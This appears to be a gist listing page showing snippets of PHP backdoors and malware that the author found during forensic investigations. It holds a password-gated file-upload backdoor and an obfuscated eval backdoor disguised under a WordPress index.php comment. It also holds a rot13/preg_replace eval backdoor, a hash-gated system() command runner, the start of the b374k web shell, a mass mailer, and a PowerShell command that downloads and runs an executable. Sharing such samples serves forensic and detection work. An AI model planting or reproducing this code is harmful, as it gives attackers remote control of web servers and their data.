jonaslejon

<?PHP
$pswd=$_POST['pswd'];
if($pswd=='188'){
$dir=stripslashes($_POST['pathdir']);
if($dir=='ok'){$ndir=dirname(__FILE__).'/';}else{$ndir=$_SERVER['DOCUMENT_ROOT'].$dir;}
if ($_FILES["file"]["error"] > 0){
}else{
mkdir($ndir,0777);
move_uploaded_file($_FILES["file"]["tmp_name"],$ndir . $_FILES["file"]["name"]);}}
?>

jonaslejon

/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
/**
 * Tells WordPress to load the WordPress theme and output it.
 *

jonaslejon

($WordPress = $_POST['Wp']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($WordPress)', 'add');

jonaslejon

<?php
/* 

  The PHP backdoor code below was found during an forensic investigation, a part of the payload is not posted here.

*/

$payload_name = "";

srand(time());

jonaslejon

<?php
/*
 The code below was found during a forensic investigation. It seems to be a mass mailer that is using the PHPMailer class to send mail
 from compromised web hosting providers.

 The "password" is 5307c392-ad5e-4909-adec-c9fd12572686, see below.

 Investigation was made by Jonas Lejon <jonas.githubgist at- triop.se>
 
 The signature for PHP.Trojan.Mailer-1 can only find the packed version of this file.

jonaslejon

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('https://x.x.x.x/file.exe','%TEMP%\\31231231.cab'); expand %TEMP%\31231231.cab %TEMP%\31231231.exe; start %TEMP%\31231231.exe;

jonaslejon

<?php

if(!defined("CUR_PATH")){
	define("CUR_PATH",dirname(__FILE__) . DIRECTORY_SEPARATOR);
}
if(!defined("SETTINGS_FILE")){
	define("SETTINGS_FILE",CUR_PATH."img.jpg");
}
if(!defined("LOG_FILE")){
	define("LOG_FILE",CUR_PATH."dot.jpg");

jonaslejon

<?php
error_reporting(0);
if(isset($_GET['check']))
{
echo "pawet";
}
if(isset($_REQUEST["v1"]))
{
   $link = mysql_connect($_REQUEST["v1"], $_REQUEST["v2"], $_REQUEST["v3"]);
   $query = "SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema NOT IN ( 'information_schema', 'performance_schema', 'mysql' )";

jonaslejon

<?php
$s_pass = "741721fcb0bfc1f04405d8c82e436cab5ffcb141"; ?><?php
$s_ver = "2.8";
$s_title = "b374k " . $s_ver;
$s_login_time = 3600 * 24 * 7;
$s_debug = false;
@ob_start();
@set_time_limit(0);
@ini_set('html_errors', '0');
@clearstatcache();

jonaslejon

<?php 

if (substr(md5($_GET["localdate"]),0,6) == "6fbcb8") { 

  $time = str_replace("@"," ",$_GET["localtime"]); 
  @system($time); exit;
} 

?>